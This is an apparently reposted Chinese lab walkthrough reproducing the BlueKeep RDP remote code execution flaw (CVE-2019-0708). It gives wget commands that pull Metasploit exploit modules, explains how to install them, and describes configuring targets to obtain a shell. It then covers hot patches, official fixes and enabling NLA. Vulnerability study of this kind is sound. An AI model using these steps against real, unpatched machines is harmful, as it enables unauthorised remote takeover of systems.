Windows CVE-2019-0708 遠程桌面代碼執行漏洞復現


Windows CVE-2019-0708 遠程桌面代碼執行漏洞復現

一、漏洞說明

2019年5月15日微軟發布安全補丁修復了CVE編號為CVE-2019-0708的Windows遠程桌面服務(RDP)遠程代碼執行漏洞,該漏洞在不需身份認證的情況下即可遠程觸發,危害與影響面極大。

目前,9月7日EXP代碼已被公開發布至metasploit-framework的Pull requests中,經測試已經可以遠程代碼執行。

二、漏洞影響版本

  • Windows 7 for 32-bit Systems Service Pack 1
  • Windows 7 for x64-based Systems Service Pack 1
  • Windows Server 2008 for 32-bit Systems Service Pack 2
  • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
  • Windows Server 2008 for Itanium-Based Systems Service Pack 2
  • Windows Server 2008 for x64-based Systems Service Pack 2
  • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
  • Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
  • Windows XP SP3 x86
  • Windows XP Professional x64 Edition SP2
  • Windows XP Embedded SP3 x86
  • Windows Server 2003 SP2 x86
  • Windows Server 2003 x64 Edition SP2

注:Windows 8和windows10以及之后的版本不受此漏洞影響

三、漏洞環境搭建

攻擊機:kali 2018.2

靶機:win7 sp1 7061

  

四、漏洞復現

1、更新msf

apt-get update

apt-get install metasploit-framework

  

 

2、下載攻擊套件

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

3、替換msf中相應的文件 

cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb rdp.rb 替換 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb rdp_scanner.rb 替換 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
 cve_2019_0708_bluekeep.rb 替換 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

4、啟動msf,加載文件

  

5、搜索0708,可以看到文件成功加載

  

6、利用漏洞,設置rhosts、target、payload

  

 

   

 

   

 

   

7、開始執行exp,成功獲得shell

   

 

   

五、漏洞防御

1、熱補丁修復工具下載,下載地址: https://www.qianxin.com/other/CVE-2019-0708

注: CVE-2019-0708熱補丁工具”是針對“Windows遠程桌面服務的遠程代碼執行漏洞CVE-2019-0708”推出的熱補丁修復工具,可以針對不能直接打補丁環境,提供的臨時解決漏洞問題的方案。 

1、 下載文件進行解壓。 2、 使用win+R快捷鍵或開始菜單選擇“運行”,輸入cmd。調起命令行工具。 3、 在命令行工具,執行命令到工具所在文件夾 4、 輸入命令對應功能,啟用熱補丁命令:QKShield.exe /enable ;禁用熱補丁命令:QKShield.exe/disable 。 5、 重啟系統后,需要重新運行命令行來啟用熱補丁

2、啟用熱補丁

  

3、再次檢測是否存在漏洞,可以看到打完熱補丁之后,不存在漏洞了

  

4、打補丁,漏洞修復工具下載,下載地址: https://www.qianxin.com/other/CVE-2019-0708

  

 

5、點擊”立即修復”,完成安裝之后,重啟電腦

  

 

   

6、使用漏洞掃描工具檢測是否存在漏洞,掃描工具下載地址: https://www.qianxin.com/other/CVE-2019-0708

   

7、 官方補丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

8、臨時措施

  1、若用戶不需要用到遠程桌面服務,建議禁用該服務。

       2、開啟網絡級別身份驗證(NLA),此方案適用於Windows 7, Windows Server 2008, Windows Server 2008 R2。

  

 9、開啟"網絡級別身份驗證"之后,再次漏洞掃描,發現不存在漏洞 

 

 

 

 

 

-------------------------------------------------------------------------------------------------------

官方補丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM